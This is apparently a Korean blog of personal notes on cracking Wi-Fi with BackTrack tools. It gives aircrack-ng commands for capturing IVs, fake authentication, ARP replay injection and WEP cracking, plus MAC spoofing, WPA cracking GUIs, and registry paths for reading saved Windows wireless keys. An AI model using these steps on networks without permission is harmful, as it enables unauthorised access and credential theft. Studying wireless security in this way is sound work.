aireplay-ng를 통해 fake authentication을 하려고 하는데
계속해서 "authentication failed (code 1)"이라는 메시지만 나오는 경우가 있다.



또 google를 탐색하여 정보를 찾을 수 있었지만, 답은 의외로 쉬운곳에 있었다.
바로
http://aircrack-ng.org/doku.php?id=fake_authentication 에 나와 있었다. -_-;;
MAC access controls enabled on the AP

If fake authentication is never successful (aireplay-ng keeps sending authentication requests) then MAC address filtering may be in place. This is where the access point will only accept connections from specific MAC addresses. In this case you will need to obtain a valid MAC address by observation using airodump-ng. Do not do a fake authentication for a specific MAC address if the client is active on the AP. See the MAC access control troubleshooting tip here



대략 내용은
MAC인증을 하는 AP에는 fake authentication을 할 수 없다. 정당한 사용자의 MAC이 필요하다.
결국 MAC address change를 해야 된다는 뜻....-_-;;;;;

실제로 내 AP에 무선랜카드 MAC을 등록하니 정상적으로 fake authentication이 가능하였다.



128bit WEP key를 크랙하기 위해서는 40,000~85,000개의 IVs 패킷이 필요한데 정말 이 정도는 모아야 된다는 것이 확인 되었다.

WifiCake backtrack 버전을 설치해 보자

아주 간단하다.

#>mkdir /appdev
#>cd /appdev/
#>wget
http://weaknetlabs.com/code/wificake/wificake-ng_v1.7.tar.gz
#>tar vxzf wificake-ng_v1.7.tar.gz

BackTrack은 KDE를 사용하므로 KDE환경에 맞추기 위해 설정파일을 변경해야 한다.
#>sed -i errors.pl -e 's/evince/kpdf/g' errors.pl

관련 라이브러리들을 설치해준다.
#>apt-get update
#>apt-get install libpdf-api2-perl
#>cpan -i Tk::PathEntry

실행시킨다.
#>perl wificake

Weakerthan에 설치되어 있는 WPA 크랙 GUI 툴이다.
기존에 커맨드로 했던 기능들을 GUI로 만든것 같다. 내부적으로 airodump-ng, aireplay-ng 등을 사용한다.
특이한건 mysql과 연동되어 무선AP들에 대한 정보를 DB에 저장할 수 있다.
현재 WPA는 크랙이 되지 않는다. 그래서 WPA용 rainbow table이 필요하다.(참고로 이거 용량이 32기가 정도 된다.-_-;)

[1] wificake 실행화면이다. GUI툴로 깔끔하다.

[2]"CONFIG"탭으로 가서 "autoStart"버튼을 누르면 현재 무선랜카드를 매칭시킨다.

[3] "STATS"탭을 확인하면 AP정보들이 나온다.(일단 정상적으로 작동을 한다.)

[4] "CMNG"탭은 필터링 기능이다.

[5] 'WDSQL"탭은 mysql과 연동되어 AP정보들을 DB에 저장한다.
사전에 mysql에 wdsql db를 생성해야 된다. 그 후 "create tables in DB"를 누르면 test 테이블이 생성된다.

[6] "insert Data to DB"를 누르면 AP정보들이 DB에 저장된다. "View Table in DB"를 통해 내용을 확인할 수 있다.

[7] "Windshield" 버튼은 실시간으로 변하는 AP정보들이 자동으로 저장된다.

[8] "INJECT"탭은 패킷 인젝션 공격을 하는 부분이다.


[9] "PYRIT"탭에서는 수집한 패킷을 크랙하는 부분이다.
"Hash File"은 레인보우 테이블이나 해쉬파일을 선택하고 "PCAP file"은 수집한 패킷을 지정해 두면 된다.

현재 WPA용 레이보우 테이블을 다운 받지 못해 테스트를 해보진 못했지만,
기존에 커맨드로 길게 썼던 명령들, 특히 맥어드레슬 입력해야되 더 길어진 명령어를 알아서 해주니 기특(?)한 툴이다.^^
WEP Key를 크랙했다면 이제 이 키를 이용하여 인터넷을 연결해야 할 것이다.

콘솔에서의 연결과 GUI툴로 연결하는 법을 알아 보자

[1] 콘솔 연결
#>iwconfig rausb0 key "xxxxxx"
--> iwconfig로 연결할 인터넷 카드를 선택하고 키값을 입력한다.
#>dhcpcd rausb0
--> dhcpcd로 ip를 할당 받는다.



[2] GUI툴 연결
backtrack에서 지원하는 wireless assistant를 실행 시킨다. 윈도우에서 제공하는 무선연결 프로그램과 비슷하다.


다음과 같이 간단하게 인터넷이 된다.






예전에 WEP Key를 크랙했을 때의 자료를 정리해 올려본다.
WEP Key가 깨진것은 쫌 오래된 일이다. 이젠 그리 놀랍지도 않지만, 요즘 무선랜을 공부하는 중에 자료가 있어 정리해 본다.

WEP Key 크랙에 필요한 툴들은 backtrack에 다 있다.
무선 랜카드를 구하는게 문제다.

무선랜카드: Linksys WUSB54G v4 (chipset:Ralink rt2570)

#>airodump-ng –w [save_file_name] rausb0 --channel 1

[airodump-ng 옵션]

-c(--channel): 무선 네트워크의 채널

--bssid: 공격하고자 하는 AP MAC 주소

-w: IVs들이 담길 파일 이름

rausb0: 인터페이스 이름

 

 


#>aireplay-ng -1 0 –e [ESSID] –a [AP_MAC_addresss(BSSID)] –h [MY_MAC_address] rausb0

위와 같이 페이크 인증을 해야 한다. 페이크 인증이 되지 않으면 packet injection이 되지 않아 IVs패킷을 모으는게 힘들어 진다.

[aireplay-ng 옵션]

-1: fake authentication

0: 초당 재연결 시간

-e: ESSID

-a: AP MAC 주소

-h: 자신의 랜카드 MAC 주소

Rausb0: 인터페이스 이름

-3: arpreplay 모드

-b: 공격할 AP MAC


#>aireplay-ng -3 –b [AP_MAC_address(BSSID)] –h [MY_MAC_address] rausb0

--> 패킷의 량을 증폭시킨다. 아래화면을 보면 갑자기 패킷량이 증가함을 알 수 있다.

 이 방법은 ARP Request를 네트워크에 재주입 시키는 것이다. 이러면 AP는 ARP Request 패킷을 받아 새로운 IV를 생성하여 반출시킨다. 이 방법이 없었던 과거에는 IVs패킷을 모으는데 상당한 시간이 걸렸다.

 

 #>aircrack-ng –s [save_file_name.cap]
--> 획득한 패킷을 크랙한다.

 WEP Key Cracking에서는 IVs값을 얼마나 많이 모으느냐가 중요하다.
보통 128bit WEP Key를 크랙하기 위해서는 40,000~85,000개의 IVs값이 필요하다.



Backtrack4에는 기본적으로 kismet이 설치되어 있다.
그러나....
디폴트로 설치되어 있는 프로그램은 이상하게 실행이 잘 되지 않는다. ㅠㅠ(나만 그런가?ㅡㅡa)
kismet_server가 실행되지 않아 이래 저래 연구해보다 결국 그냥 다시 설치해 버렸다.

kismet싸이트에서 Kismet-2010-07-R1 버전을 다운 받는다.

설치는 매우 간단하다.
#>tar zxvf Kismet-2010-07-R1
#>./configure --prefix=/usr/local/kismet2010
#>make
#>make install

이런 후 그냥 실행하면 실행이 안될 것이다.
kismet.conf를 수정해 주어야 한다.

#>vi kismet.conf
nosource=mon0
-->자신의 무선랜카드 이름으로 설정해 주어야 한다. 2009 이전 버전에서는 source였던 것으로 기억한다.

#kismet2010/bin/>./kismet

아무리 봐도 참 잘 만든 툴 같다.^^

일반적으로 암호설정이 되어 있는 AP에 접속을 하려면 키값을 입력한다.
하지만 한번 입력된 키값은 한번만 입력하면 그 후로는 키 재 입력 없이 바로 접속이 가능하다.
그렇다면 당연히 PC어딘가에 키값이 저장되어 있을 것이다.

다음은 무선네트워크 키 값이 저장되어 있는 레지스트리 위치와 이 값을 불러 오는 프로그램이다.

[Window XP]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WZCSVC\Parameters\Interfaces\[Interface Guid]

[Vista]
\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\[Interface Guid]

위 화면은 xp 레지스트리에 저장되어 있는 키값들이다.(암호화 되어 있는 원래 키값을 알 수가 없다.)


다음은 WirelessKeyView라는 프로그램을 통해 레지스트리에 있는 키 값을 가져온 화면이다.

WEP 키는 hex 또는 ascii값으로 복호화 되어 나타난다.

쓸만한 툴인듯 하다.^^


WEP, WPA 크랙은 언제나 무선랙카드의 aircrack-ng 지원 여부이다.
보통 외국 계열 회사(linksys, netgear 등등) 제품을 많이 사용하는데
드디어 iptime에서도 rt73 계열 칩셋을 사용하는 랜카드 발견+_+

다음은 내가 알아본 iptime 제품별 칩셋 정보이다.

 G054U2 rt73계열
 G054U2BE rt73계열
 G054UA (2571)rt73계열
 N300P//N300CA  2860
 N100P  2760
 N200UA  2870
 N100U  2770
 N100UA/N100U2/N100UM,N150U,150UA  3070

+ Recent posts